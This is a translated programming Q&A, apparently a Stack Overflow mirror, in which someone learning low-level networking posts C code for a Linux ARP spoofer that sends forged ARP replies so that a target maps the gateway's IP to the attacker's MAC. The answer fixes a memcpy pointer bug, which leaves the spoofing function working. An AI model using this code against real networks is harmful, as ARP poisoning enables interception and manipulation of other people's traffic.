繁体   English   中英

在Linux上的C中进行arp欺骗时,目标计算机的arp缓存未更新

[英]target computer arp cache not updating when arp spoofing in c on linux

我正在尝试在Linux上的C中制作一个简单的arp spoofer(主要是为了更好地了解底层网络)。 到目前为止,我成功创建了一个arp请求并获得了目标和网关的mac地址的arp答复,但是每当我向目标/网关发送arp答复时,我的测试计算机上的arp表都没有更新,它仍然显示正确的网关mac地址。 这不是网络问题,因为kali linux arpspoof命令运行正常并且arp缓存正在更新。

这是我发送欺骗性arp数据包的代码:

void arp_spoof(int sock, LOCAL_DATA localData, uint32_t pdst, unsigned char hwdst[6], uint32_t psrc)
{
struct ether_arp arpPacket;

struct sockaddr_ll addr = {0};
addr.sll_family = AF_PACKET;
addr.sll_ifindex = localData.interface_index;
addr.sll_halen = ETHER_ADDR_LEN;
addr.sll_protocol = htons(ETH_P_ARP);
memcpy(addr.sll_addr, &hwdst, ETHER_ADDR_LEN);  // destination physical address

// basic info about the arp packet
arpPacket.arp_hrd = htons(ARPHRD_ETHER);
arpPacket.arp_pro = htons(ETH_P_IP);
arpPacket.arp_hln = ETHER_ADDR_LEN;
arpPacket.arp_pln = sizeof(in_addr_t);
arpPacket.arp_op = htons(ARPOP_REPLY);

/*======== Resulting Structure ========

Source MAC : local mac (attacker)
Source IP  : ip of the machine attacker wants
             destination machine to believe is the source

Destination MAC : real destination physical address
Destination IP  : real destination ip address

======================================*/

// Source MAC [REAL]
memcpy(&arpPacket.arp_sha, localData.mac_address, sizeof(arpPacket.arp_sha));

// Source IP [SPOOFED / FAKE]
memcpy(&arpPacket.arp_spa, &psrc, sizeof(arpPacket.arp_spa));

// Destination MAC [REAL]
memcpy(&arpPacket.arp_tha, hwdst, sizeof(arpPacket.arp_tha));

// Destination ip [REAL]
memcpy(&arpPacket.arp_tpa, &pdst, sizeof(arpPacket.arp_tpa));

// sending the packet to the target
if (sendto(sock, &arpPacket, sizeof(arpPacket), 0, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
        printf("Error arp spoofing target: ");
        PrintIpAddress(pdst);
}

我在代码中犯了一个愚蠢的错误。
在下面的行中:
memcpy(addr.sll_addr, &hwdst, ETHER_ADDR_LEN); 我将指针作为参数&hwdst提供给指针。 由于hdwst已经是参数的数组,因此它将只将指针指向第一个元素。 正确的行应该是: memcpy(addr.sll_addr, hwdst, ETHER_ADDR_LEN);

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM